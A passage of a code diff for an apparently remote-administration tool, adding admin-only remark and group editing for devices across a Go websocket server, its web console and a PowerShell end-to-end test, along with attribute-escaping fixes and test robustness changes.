||||
}
|
||||
if h.notes == nil {
|
||||
fail("Device remarks are not enabled on this server", "disabled")
|
||||
return
|
||||
}
|
||||
if h.denyIfNoDeviceAccess(c, id, replyCmd) {
|
||||
return
|
||||
}
|
||||
if !h.deviceExists(id) {
|
||||
fail("Device not found", "not_found")
|
||||
return
|
||||
}
|
||||
// Sanitize before the length check and the reply so the echoed value is
|
||||
// exactly what the store keeps (control characters folded to spaces).
|
||||
remark := sanitizeLabel(in.Remark)
|
||||
if utf8.RuneCountInString(remark) > MaxRemarkRunes {
|
||||
fail("Remark is too long (max "+strconv.Itoa(MaxRemarkRunes)+" characters)", "too_long")
|
||||
return
|
||||
}
|
||||
if err := h.notes.Set(id, remark, c.user); err != nil {
|
||||
fail("Failed to save remark: "+err.Error(), "save_failed")
|
||||
return
|
||||
}
|
||||
h.audit(c, false, auditDeviceRemark, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": true,
|
||||
"cleared": remark == "",
|
||||
})
|
||||
// Every open console re-reads the list so the card shows the new label.
|
||||
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
|
||||
c.queue(mustJSON(map[string]any{
|
||||
"cmd": replyCmd, "ok": true, "id": id, "remark": remark,
|
||||
}))
|
||||
}
|
||||
|
||||
// handleSetDeviceGroup sets the web-console group override for one device.
|
||||
// Admin role only, and only for a device the caller can access. An empty group
|
||||
// clears the override, so the device falls back to the group it reports.
|
||||
//
|
||||
// The override changes every Go-side view (device list, group filter, MCP) and
|
||||
// works for offline records, but it does not send CMD_SET_GROUP: the host keeps
|
||||
// reporting its own group to other masters.
|
||||
func (h *wsHub) handleSetDeviceGroup(c *wsClient, raw []byte) {
|
||||
const replyCmd = "set_device_group_result"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var in struct {
|
||||
ID string `json:"id"`
|
||||
Group string `json:"group"`
|
||||
}
|
||||
id := ""
|
||||
fail := func(msg, reason string) {
|
||||
h.audit(c, true, auditDeviceGroup, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": false,
|
||||
"reason": reason,
|
||||
"error": msg,
|
||||
})
|
||||
// id lets the page drop a late reply meant for a dialog it has since
|
||||
// closed and replaced with another device's.
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "id": id, "msg": msg}))
|
||||
}
|
||||
if err := json.Unmarshal(raw, &in); err != nil {
|
||||
fail("Invalid request", "invalid_request")
|
||||
return
|
||||
}
|
||||
id = strings.TrimSpace(in.ID)
|
||||
if id == "" {
|
||||
fail("Invalid device id", "invalid_id")
|
||||
return
|
||||
}
|
||||
if h.groups == nil {
|
||||
fail("Device groups are not enabled on this server", "disabled")
|
||||
return
|
||||
}
|
||||
if h.denyIfNoDeviceAccess(c, id, replyCmd) {
|
||||
return
|
||||
}
|
||||
if !h.deviceExists(id) {
|
||||
fail("Device not found", "not_found")
|
||||
return
|
||||
}
|
||||
group := sanitizeLabel(in.Group)
|
||||
if utf8.RuneCountInString(group) > MaxGroupRunes {
|
||||
fail("Group is too long (max "+strconv.Itoa(MaxGroupRunes)+" characters)", "too_long")
|
||||
return
|
||||
}
|
||||
if err := h.groups.Set(id, group, c.user); err != nil {
|
||||
fail("Failed to save group: "+err.Error(), "save_failed")
|
||||
return
|
||||
}
|
||||
h.audit(c, false, auditDeviceGroup, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": true,
|
||||
"cleared": group == "",
|
||||
})
|
||||
// Every open console re-reads the list so the card and group filter move.
|
||||
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
|
||||
c.queue(mustJSON(map[string]any{
|
||||
"cmd": replyCmd, "ok": true, "id": id, "group": group,
|
||||
}))
|
||||
}
|
||||
|
||||
// normalizeDeviceIDs merges the batch and single-device forms, trims blanks
|
||||
// and dedupes while preserving order.
|
||||
func normalizeDeviceIDs(ids []string, single string) []string {
|
||||
@@ -1814,6 +2022,27 @@ func (h *wsHub) dropDeviceBinding(deviceID string) {
|
||||
}
|
||||
}
|
||||
|
||||
// dropDeviceNote removes the remark together with the device record, so a
|
||||
// future client that reuses the same ID starts with a clean card.
|
||||
func (h *wsHub) dropDeviceNote(deviceID string) {
|
||||
if h.notes == nil {
|
||||
return
|
||||
}
|
||||
if err := h.notes.Remove(deviceID); err != nil {
|
||||
h.log.Warn("device remark remove failed for %s: %v", deviceID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// dropDeviceGroup removes the group override together with the device record.
|
||||
func (h *wsHub) dropDeviceGroup(deviceID string) {
|
||||
if h.groups == nil {
|
||||
return
|
||||
}
|
||||
if err := h.groups.Remove(deviceID); err != nil {
|
||||
h.log.Warn("device group remove failed for %s: %v", deviceID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// handleTermOpen kicks off a web terminal session. On success the wsClient
|
||||
// records `termWatching = deviceID` so subsequent term_input / term_resize
|
||||
// have a target, and the hub sends COMMAND_SHELL to the device. The
|
||||
|
||||
+198
-16
@@ -657,8 +657,8 @@
|
||||
max-width: 240px;
|
||||
flex-shrink: 1;
|
||||
}
|
||||
/* 卡片操作:右上角只留一个「…」按钮,点开才弹出菜单(终端 / 绑定 /
|
||||
转移 / 删除),菜单项带简短功能说明。独立于卡片本体点击事件
|
||||
/* 卡片操作:右上角只留一个「…」按钮,点开才弹出菜单(终端 / 备注 /
|
||||
分组 / 绑定 / 转移 / 删除),菜单项带简短功能说明。独立于卡片本体点击事件
|
||||
(onclick stopPropagation)。List 视图卡片是一行,按钮垂直居中。 */
|
||||
.device-card .card-actions {
|
||||
position: absolute;
|
||||
@@ -725,6 +725,8 @@
|
||||
margin-top: 1px;
|
||||
}
|
||||
.card-menu-item.term .card-menu-icon { color: #4caf50; }
|
||||
.card-menu-item.edit .card-menu-icon { color: #4dabf7; }
|
||||
.card-menu-item.group .card-menu-icon { color: #b197fc; }
|
||||
.card-menu-item.bind .card-menu-icon { color: #e67e22; }
|
||||
.card-menu-item.transfer .card-menu-icon { color: #d68910; }
|
||||
.card-menu-item.del .card-menu-icon { color: #e74c3c; }
|
||||
@@ -2193,7 +2195,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Logout Confirmation Modal -->
|
||||
<div class="modal-overlay" id="logout-confirm-modal" onclick="if(event.target===this)cancelLogout()">
|
||||
<div class="modal-overlay" id="logout-confirm-modal">
|
||||
<div class="confirm-modal-content">
|
||||
<div class="confirm-modal-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -2212,7 +2214,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Delete Device Confirmation Modal(离线=删除历史记录;在线=下发卸载主机) -->
|
||||
<div class="modal-overlay" id="delete-device-modal" onclick="if(event.target===this)cancelDeleteDevice()">
|
||||
<div class="modal-overlay" id="delete-device-modal">
|
||||
<div class="confirm-modal-content">
|
||||
<div class="confirm-modal-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -2232,7 +2234,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Transfer Host Modal(仅 Go 后端:device_list 带 transfer 字段时才有入口) -->
|
||||
<div class="modal-overlay" id="transfer-device-modal" onclick="if(event.target===this)cancelTransferDevice()">
|
||||
<div class="modal-overlay" id="transfer-device-modal">
|
||||
<div class="modal-content" style="max-width:460px;">
|
||||
<div class="modal-header">
|
||||
<h3>Transfer Host</h3>
|
||||
@@ -2262,7 +2264,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Device Binding Modal(仅内置 admin 超级管理员可见) -->
|
||||
<div class="modal-overlay" id="bind-device-modal" onclick="if(event.target===this)closeBindModal()">
|
||||
<div class="modal-overlay" id="bind-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Device Binding</h3>
|
||||
@@ -2289,10 +2291,62 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 修改备注(Go 后端):备注是卡片标题旁的显示标签 "hostname (备注)"。 -->
|
||||
<div class="modal-overlay" id="remark-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Edit Remark</h3>
|
||||
<button class="modal-close" onclick="closeRemarkModal()">×</button>
|
||||
</div>
|
||||
<div class="user-form">
|
||||
<div id="remark-device-name" style="font-size:13px;color:#aaa;margin-bottom:10px;"></div>
|
||||
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">
|
||||
Remark
|
||||
</label>
|
||||
<input type="text" id="remark-input" maxlength="64"
|
||||
placeholder="e.g. Reception PC" autocomplete="off">
|
||||
<div style="font-size:12px;color:#888;margin-top:8px;">
|
||||
Shown on the card as "hostname (remark)". Leave it empty to clear the remark.
|
||||
</div>
|
||||
<div style="display:flex;gap:8px;margin-top:14px;">
|
||||
<button onclick="confirmSetRemark()">Save</button>
|
||||
<button class="cancel-btn" onclick="closeRemarkModal()">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 修改分组(Go 后端):覆盖主机上报的分组,仅影响本服务端的显示/过滤/MCP。 -->
|
||||
<div class="modal-overlay" id="group-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Edit Group</h3>
|
||||
<button class="modal-close" onclick="closeGroupModal()">×</button>
|
||||
</div>
|
||||
<div class="user-form">
|
||||
<div id="group-device-name" style="font-size:13px;color:#aaa;margin-bottom:10px;"></div>
|
||||
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">
|
||||
Group
|
||||
</label>
|
||||
<input type="text" id="group-input" list="group-options" maxlength="23"
|
||||
placeholder="e.g. Office" autocomplete="off">
|
||||
<datalist id="group-options"></datalist>
|
||||
<div style="font-size:12px;color:#888;margin-top:8px;">
|
||||
Changes how this server groups and filters the host. Leave it empty to use the
|
||||
group the host reports. Max 23 characters.
|
||||
</div>
|
||||
<div style="display:flex;gap:8px;margin-top:14px;">
|
||||
<button onclick="confirmSetGroup()">Save</button>
|
||||
<button class="cancel-btn" onclick="closeGroupModal()">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Generic alert / confirmation dialog. Replaces native alert()/confirm():
|
||||
their button labels come from the browser locale (e.g. German on a
|
||||
German system) and do not match the app. -->
|
||||
<div class="modal-overlay" id="app-dialog" onclick="if(event.target===this)closeAppDialog(false)"
|
||||
<div class="modal-overlay" id="app-dialog"
|
||||
onkeydown="if(event.key==='Escape')closeAppDialog(false)">
|
||||
<div class="confirm-modal-content" id="app-dialog-content" role="dialog" aria-modal="true"
|
||||
aria-labelledby="app-dialog-title" aria-describedby="app-dialog-message">
|
||||
@@ -3020,6 +3074,9 @@
|
||||
// 只有实现了「转移主机」的后端(Go)才会带这个字段;
|
||||
// MFC 复用同一份页面但不下发它,按钮因此不会出现。
|
||||
transferCfg = msg.transfer || null;
|
||||
// 备注/分组编辑同理由后端能力位决定(Go 才有;MFC 页面不显示)。
|
||||
remarkEditAvailable = msg.remarkEdit === true;
|
||||
groupEditAvailable = msg.groupEdit === true;
|
||||
// Keep current page (renderDeviceList adjusts if out of range)
|
||||
renderDeviceList();
|
||||
renderWallSidebar();
|
||||
@@ -3339,6 +3396,25 @@
|
||||
appAlert(msg.msg || 'Failed to unbind device', 'Device Binding');
|
||||
}
|
||||
break;
|
||||
case 'set_device_remark_result':
|
||||
// 只收尾"当前开着的那台设备"的对话框:请求在飞时管理员可能
|
||||
// 已经取消并打开了另一台设备,迟到的回复不能把它关掉。列表
|
||||
// 刷新由服务端的 devices_changed 广播负责,这里不重复拉取。
|
||||
if (msg.id !== undefined && String(msg.id) !== pendingRemarkDeviceId) break;
|
||||
if (msg.ok) {
|
||||
closeRemarkModal();
|
||||
} else {
|
||||
appAlert(msg.msg || 'Failed to save remark', 'Edit Remark');
|
||||
}
|
||||
break;
|
||||
case 'set_device_group_result':
|
||||
if (msg.id !== undefined && String(msg.id) !== pendingGroupDeviceId) break;
|
||||
if (msg.ok) {
|
||||
closeGroupModal();
|
||||
} else {
|
||||
appAlert(msg.msg || 'Failed to save group', 'Edit Group');
|
||||
}
|
||||
break;
|
||||
case 'device_revoked': {
|
||||
// The superadmin bound this device to someone else while we
|
||||
// were watching it. Stop streaming immediately.
|
||||
@@ -5109,14 +5185,18 @@
|
||||
}
|
||||
|
||||
// ---- 卡片「…」操作菜单 ----
|
||||
// 无论有几个操作,卡片上只显示一个「…」;点开弹出的菜单里才是终端/绑定/
|
||||
// 转移/删除,每项带一句功能说明。菜单项在点击时按设备实时生成,权限和
|
||||
// 无论有几个操作,卡片上只显示一个「…」;点开弹出的菜单里才是终端/备注/
|
||||
// 分组/绑定/转移/删除,每项带一句功能说明。菜单项在点击时按设备实时生成,权限和
|
||||
// 在线状态不会因为列表渲染后变化而过期。
|
||||
let cardMenuEl = null;
|
||||
let cardMenuBtn = null;
|
||||
const cardMenuSvg = {
|
||||
term: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>',
|
||||
edit: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<path d="M12 20h9"/><path d="M16.5 3.5a2.12 2.12 0 0 1 3 3L7 19l-4 1 1-4Z"/></svg>',
|
||||
group: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/></svg>',
|
||||
bind: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>',
|
||||
transfer: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
@@ -5126,9 +5206,22 @@
|
||||
'<path d="M10 11v6"/><path d="M14 11v6"/><path d="M9 6V4a1 1 0 0 1 1-1h4a1 1 0 0 1 1 1v2"/></svg>'
|
||||
};
|
||||
|
||||
// 备注/分组编辑:只有实现了对应功能的后端(Go)在 device_list 里报
|
||||
// remarkEdit / groupEdit 才出现;MFC 复用同一份页面但不下发这些字段。
|
||||
let remarkEditAvailable = false;
|
||||
let groupEditAvailable = false;
|
||||
|
||||
function canEditRemark() {
|
||||
return remarkEditAvailable && currentUserRole === 'admin';
|
||||
}
|
||||
|
||||
function canEditGroup() {
|
||||
return groupEditAvailable && currentUserRole === 'admin';
|
||||
}
|
||||
|
||||
function hasCardActions(d) {
|
||||
if (d.online !== false) return true; // 在线设备至少有终端
|
||||
return canBindDevices() || canDeleteDevices();
|
||||
return canEditRemark() || canEditGroup() || canBindDevices() || canDeleteDevices();
|
||||
}
|
||||
|
||||
function cardMenuEntries(d) {
|
||||
@@ -5138,6 +5231,14 @@
|
||||
out.push({ kind: 'term', label: 'Terminal', desc: 'Open a remote shell',
|
||||
run: () => openTerminal(d.id) });
|
||||
}
|
||||
if (canEditRemark()) {
|
||||
out.push({ kind: 'edit', label: 'Edit remark', desc: 'Set the label shown on the card',
|
||||
run: () => openRemarkModal(d.id) });
|
||||
}
|
||||
if (canEditGroup()) {
|
||||
out.push({ kind: 'group', label: 'Edit group', desc: 'Move this host to another group',
|
||||
run: () => openGroupModal(d.id) });
|
||||
}
|
||||
if (canBindDevices()) {
|
||||
out.push({ kind: 'bind', label: 'Bind owner', desc: 'Assign this host to a user',
|
||||
run: () => openBindModal(d.id) });
|
||||
@@ -5260,7 +5361,7 @@
|
||||
const rtt = d.rtt || '-';
|
||||
const ver = d.version || '-';
|
||||
const activeWin = d.activeWindow || '';
|
||||
// 操作全部收进右上角的「…」菜单(终端 / 绑定 / 转移 / 删除),
|
||||
// 操作全部收进右上角的「…」菜单(终端 / 备注 / 分组 / 绑定 / 转移 / 删除),
|
||||
// 具体条目见 cardMenuEntries。这里只决定按钮是否出现。
|
||||
const actionsHtml = hasCardActions(d)
|
||||
? '<div class="card-actions">' +
|
||||
@@ -5290,15 +5391,15 @@
|
||||
? '<span class="meta-item offline-badge">Offline</span>'
|
||||
: '<span class="meta-item rtt ' + getRttClass(rtt) + '">RTT: ' + escapeHtml(rtt) + '</span>') +
|
||||
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
|
||||
'<span class="meta-item">' + screenInfo + '</span>' +
|
||||
'<span class="meta-item">' + escapeHtml(screenInfo) + '</span>' +
|
||||
'</div>' +
|
||||
(offline ? '<div class="last-seen">Last seen: ' + escapeHtml(formatLastSeen(d.last_seen)) + '</div>' : '') +
|
||||
(d.transferTo
|
||||
? '<div class="transfer-badge" title="Transferred to ' + escapeHtml(d.transferTo) + '">' +
|
||||
? '<div class="transfer-badge" title="Transferred to ' + escapeAttr(d.transferTo) + '">' +
|
||||
'Transferred → ' + escapeHtml(d.transferTo) + ' · ' +
|
||||
escapeHtml(formatTransferLeft(d.transferUntil)) + '</div>'
|
||||
: '') +
|
||||
(!offline && activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
(!offline && activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeAttr(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
'</div>';
|
||||
}).join('');
|
||||
}
|
||||
@@ -5587,6 +5688,85 @@
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 修改备注(Go 后端) =====
|
||||
// 备注显示为卡片标题 "hostname (备注)";留空 = 清除。服务端持久化到
|
||||
// device_notes.json,与设备历史/绑定独立,离线记录也能改。
|
||||
let pendingRemarkDeviceId = null;
|
||||
|
||||
function openRemarkModal(id) {
|
||||
if (!canEditRemark()) return;
|
||||
const d = devices.find(x => String(x.id) === String(id));
|
||||
if (!d) { appAlert('Device not found.', 'Edit Remark'); return; }
|
||||
pendingRemarkDeviceId = String(id);
|
||||
document.getElementById('remark-device-name').textContent =
|
||||
(d.name || 'Unknown') + ' (' + String(id) + ')';
|
||||
document.getElementById('remark-input').value = d.remark || '';
|
||||
document.getElementById('remark-device-modal').classList.add('active');
|
||||
const input = document.getElementById('remark-input');
|
||||
input.focus();
|
||||
input.select();
|
||||
}
|
||||
|
||||
function closeRemarkModal() {
|
||||
pendingRemarkDeviceId = null;
|
||||
document.getElementById('remark-device-modal').classList.remove('active');
|
||||
}
|
||||
|
||||
function confirmSetRemark() {
|
||||
if (!pendingRemarkDeviceId) return;
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||
appAlert('Not connected to the server. Try again in a moment.', 'Edit Remark');
|
||||
return;
|
||||
}
|
||||
const remark = document.getElementById('remark-input').value.trim();
|
||||
ws.send(JSON.stringify({
|
||||
cmd: 'set_device_remark', token, id: pendingRemarkDeviceId, remark,
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 修改分组(Go 后端) =====
|
||||
// 覆盖主机上报的分组,影响本服务端的卡片分组、分组过滤与 MCP;不下发
|
||||
// CMD_SET_GROUP,主机对其它主控仍按自己上报的分组显示。留空 = 撤销覆盖。
|
||||
let pendingGroupDeviceId = null;
|
||||
|
||||
function openGroupModal(id) {
|
||||
if (!canEditGroup()) return;
|
||||
const d = devices.find(x => String(x.id) === String(id));
|
||||
if (!d) { appAlert('Device not found.', 'Edit Group'); return; }
|
||||
pendingGroupDeviceId = String(id);
|
||||
document.getElementById('group-device-name').textContent =
|
||||
displayName(d) + ' (' + String(id) + ')';
|
||||
// 建议值取当前列表里已有的分组(含覆盖后的)。
|
||||
const groups = Array.from(new Set(devices.map(x => x.group).filter(Boolean))).sort();
|
||||
document.getElementById('group-options').innerHTML =
|
||||
groups.map(g => '<option value="' + escapeAttr(g) + '"></option>').join('');
|
||||
// 只有覆盖值才预填。主机上报的分组只放进 placeholder:否则"打开即保存"
|
||||
// 会把上报值固化成覆盖,之后主机改了分组,控制台还停在旧值。
|
||||
const input = document.getElementById('group-input');
|
||||
input.value = d.groupOverride === true ? (d.group || '') : '';
|
||||
input.placeholder = d.group ? ('Current: ' + d.group) : 'e.g. Office';
|
||||
document.getElementById('group-device-modal').classList.add('active');
|
||||
input.focus();
|
||||
input.select();
|
||||
}
|
||||
|
||||
function closeGroupModal() {
|
||||
pendingGroupDeviceId = null;
|
||||
document.getElementById('group-device-modal').classList.remove('active');
|
||||
}
|
||||
|
||||
function confirmSetGroup() {
|
||||
if (!pendingGroupDeviceId) return;
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||
appAlert('Not connected to the server. Try again in a moment.', 'Edit Group');
|
||||
return;
|
||||
}
|
||||
const group = document.getElementById('group-input').value.trim();
|
||||
ws.send(JSON.stringify({
|
||||
cmd: 'set_device_group', token, id: pendingGroupDeviceId, group,
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 删除设备 =====
|
||||
// 两种情况都删除服务端 devices.json 中的历史记录;在线设备额外按 MFC
|
||||
// 的做法发送单字节 TOKEN_UNINSTALL(卸载主机)。都先弹二次确认。
|
||||
@@ -5794,7 +5974,9 @@
|
||||
'remote.screen.start', 'remote.screen.stop', 'remote.screen.denied',
|
||||
'remote.terminal.start', 'remote.terminal.stop', 'remote.terminal.denied',
|
||||
'remote.clipboard.set', 'remote.clipboard.get', 'remote.rdp_reset',
|
||||
'admin.user.create', 'admin.user.delete', 'admin.device.delete', 'admin.audit.query',
|
||||
'admin.user.create', 'admin.user.delete', 'admin.device.delete', 'admin.device.bind',
|
||||
'admin.device.unbind', 'admin.device.transfer', 'admin.device.remark',
|
||||
'admin.device.group', 'admin.audit.query',
|
||||
'device.online', 'device.offline',
|
||||
'device.auth.success', 'device.auth.failure', 'device.auth.throttled',
|
||||
'device.auth.heartbeat.success',
|
||||
@@ -5944,7 +6126,7 @@
|
||||
tbody.innerHTML = events.map(rec => {
|
||||
const level = rec.level === 'warn' ? 'warn' : 'info';
|
||||
return '<tr>' +
|
||||
'<td title="' + escapeHtml(rec.time || '') + '">' + formatAuditTime(rec.time) + '</td>' +
|
||||
'<td title="' + escapeAttr(rec.time || '') + '">' + formatAuditTime(rec.time) + '</td>' +
|
||||
'<td><span class="audit-level ' + level + '">' + level + '</span></td>' +
|
||||
'<td>' + escapeHtml(rec.event || '') + '</td>' +
|
||||
'<td>' + escapeHtml(rec.actor || '') + '</td>' +
|
||||
|
||||
+47
-14
@@ -61,6 +61,9 @@ public static class E2E
|
||||
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr h);
|
||||
[DllImport("user32.dll")] public static extern bool IsWindow(IntPtr h);
|
||||
[DllImport("user32.dll")] static extern IntPtr SendMessage(IntPtr h, uint m, IntPtr w, IntPtr l);
|
||||
// 带超时的 SendMessage:目标 UI 线程卡死时不能把测试脚本一起挂死(这正是要抓的回归)。
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||||
static extern IntPtr SendMessageTimeout(IntPtr h, uint m, IntPtr w, IntPtr l, uint flags, uint timeout, out IntPtr result);
|
||||
[DllImport("user32.dll")] public static extern bool PostMessage(IntPtr h, uint m, IntPtr w, IntPtr l);
|
||||
[DllImport("user32.dll")] static extern int GetDlgCtrlID(IntPtr h);
|
||||
[DllImport("user32.dll")] static extern IntPtr GetMenu(IntPtr h);
|
||||
@@ -146,9 +149,14 @@ public static class E2E
|
||||
return found;
|
||||
}
|
||||
|
||||
/// <summary>跨进程发整型消息;目标 UI 线程 2 秒无响应时返回 -1(调用方据此判失败)。</summary>
|
||||
public static int SendInt(IntPtr h, uint msg, int w, int l)
|
||||
{
|
||||
return (int)SendMessage(h, msg, (IntPtr)w, (IntPtr)l);
|
||||
const uint SMTO_ABORTIFHUNG = 0x0002;
|
||||
IntPtr result;
|
||||
IntPtr ok = SendMessageTimeout(h, msg, (IntPtr)w, (IntPtr)l, SMTO_ABORTIFHUNG, 2000, out result);
|
||||
if (ok == IntPtr.Zero) return -1; // 超时/目标线程不响应
|
||||
return (int)result;
|
||||
}
|
||||
|
||||
public static void PostCommand(IntPtr main, int id)
|
||||
@@ -204,6 +212,15 @@ if ($running.Count -gt 0) {
|
||||
}
|
||||
if (-not (Test-Path $ServerExe)) { throw "找不到 Debug 服务端: $ServerExe(可加 -Build 先编译)" }
|
||||
if ($ExternalClient -and -not (Test-Path $ClientExe)) { throw "找不到 Debug 客户端: $ClientExe" }
|
||||
if ($Build) {
|
||||
Write-Host "==> 编译 Debug 服务端/客户端 ..." -ForegroundColor Cyan
|
||||
# 每次编译后单独检查退出码:只在第二次编译后查会让"服务端编译失败、客户端成功"
|
||||
# 被 $LASTEXITCODE=0 掩盖,后面用旧二进制跑出一堆假 PASS/FAIL。
|
||||
& powershell -NoProfile -File (Join-Path $repo 'build.ps1') -Config Debug -Platform x64 | Out-Null
|
||||
if ($LASTEXITCODE -ne 0) { throw "Debug 服务端编译失败(退出码 $LASTEXITCODE)" }
|
||||
& powershell -NoProfile -File (Join-Path $repo 'build.ps1') -Config Debug -Platform x64 -ClientOnly | Out-Null
|
||||
if ($LASTEXITCODE -ne 0) { throw "Debug 客户端编译失败(退出码 $LASTEXITCODE)" }
|
||||
}
|
||||
|
||||
# 端口检查:6543 是客户端必须能连上的端口,被占用就直接失败。
|
||||
# MCP/Web 端口(settings.ini 的 McpPort/WebSvrPort)如果已被别的实例占用(例如正在跑的
|
||||
@@ -230,6 +247,7 @@ try { $udp = @(Get-NetUDPEndpoint -ErrorAction Stop | Select-Object -ExpandPrope
|
||||
if (($ports -contains 6543) -or ($udp -contains 6543)) {
|
||||
throw "端口 6543 已被占用,无法启动隔离的 Debug 测试实例。"
|
||||
}
|
||||
try {
|
||||
if ($settingsBackup -ne $null) {
|
||||
$cfg = $settingsBackup
|
||||
if (($ports -contains 6545) -or ($udp -contains 6545)) {
|
||||
@@ -244,13 +262,8 @@ if ($settingsBackup -ne $null) {
|
||||
[System.IO.File]::WriteAllText($settingsPath, $cfg, [System.Text.Encoding]::Default)
|
||||
}
|
||||
}
|
||||
} catch { Restore-Settings; throw }
|
||||
|
||||
if ($Build) {
|
||||
Write-Host "==> 编译 Debug 服务端/客户端 ..." -ForegroundColor Cyan
|
||||
& powershell -NoProfile -File (Join-Path $repo 'build.ps1') -Config Debug -Platform x64 | Out-Null
|
||||
& powershell -NoProfile -File (Join-Path $repo 'build.ps1') -Config Debug -Platform x64 -ClientOnly | Out-Null
|
||||
if ($LASTEXITCODE -ne 0) { throw "编译失败(退出码 $LASTEXITCODE)" }
|
||||
}
|
||||
|
||||
$server = $null
|
||||
$client = $null
|
||||
@@ -298,12 +311,30 @@ try {
|
||||
}
|
||||
|
||||
$count = 0
|
||||
$ok = Wait-Until {
|
||||
if ($script:server.HasExited) { throw '服务端进程已退出(客户端崩溃或被安全软件拦截)' }
|
||||
if ($ExternalClient -and $script:client.HasExited) { throw '外部客户端进程已退出' }
|
||||
$script:count = [E2E]::SendInt($script:list, $LVM_GETITEMCOUNT, 0, 0)
|
||||
return ($script:count -ge 1)
|
||||
} $ClientOnlineTimeoutSec
|
||||
# 这里不用 Wait-Until:它无法提前退出(进程死了还要空等满超时),也无法区分
|
||||
# "单次 UI 忙" 与 "持续无响应"。手写循环:
|
||||
# · 进程一退出立刻失败;
|
||||
# · $uiHung 只在最近一次请求超时时为真,下一次成功即清零(粘性标志会把启动
|
||||
# 瞬间的忙误报成界面死锁)。
|
||||
$dead = $null
|
||||
$uiHung = $false
|
||||
$ok = $false
|
||||
$deadline = (Get-Date).AddSeconds($ClientOnlineTimeoutSec)
|
||||
while ((Get-Date) -lt $deadline) {
|
||||
if ($server.HasExited) { $dead = '服务端进程已退出(客户端崩溃或被安全软件拦截)'; break }
|
||||
if ($ExternalClient -and $client.HasExited) { $dead = '外部客户端进程已退出'; break }
|
||||
$c = [E2E]::SendInt($list, $LVM_GETITEMCOUNT, 0, 0)
|
||||
if ($c -lt 0) {
|
||||
$uiHung = $true
|
||||
} else {
|
||||
$uiHung = $false
|
||||
$count = $c
|
||||
if ($c -ge 1) { $ok = $true; break }
|
||||
}
|
||||
Start-Sleep -Milliseconds 250
|
||||
}
|
||||
if (-not $ok -and $dead) { throw $dead }
|
||||
if (-not $ok -and $uiHung) { throw '服务端 UI 线程 2 秒无响应(LVM_GETITEMCOUNT 超时),可能是界面死锁' }
|
||||
if (-not $ok) {
|
||||
# 内置客户端失败时通常会弹一个消息框(例如内核 DLL 未就绪),把它的文字打出来。
|
||||
$diag = @([E2E]::TopDialogs($server.Id, $main) | ForEach-Object { [E2E]::Text($_) } | Where-Object { $_ })
|
||||
@@ -314,7 +345,9 @@ try {
|
||||
# 选中第一行;列表项需要先选中,工具栏命令才会对这台主机下发。
|
||||
[E2E]::Click($list, 40, 40)
|
||||
$selected = Wait-Until {
|
||||
return ([E2E]::SendInt($script:list, $LVM_GETITEMSTATE, 0, $LVIS_SELECTED) -ne 0)
|
||||
$st = [E2E]::SendInt($script:list, $LVM_GETITEMSTATE, 0, $LVIS_SELECTED)
|
||||
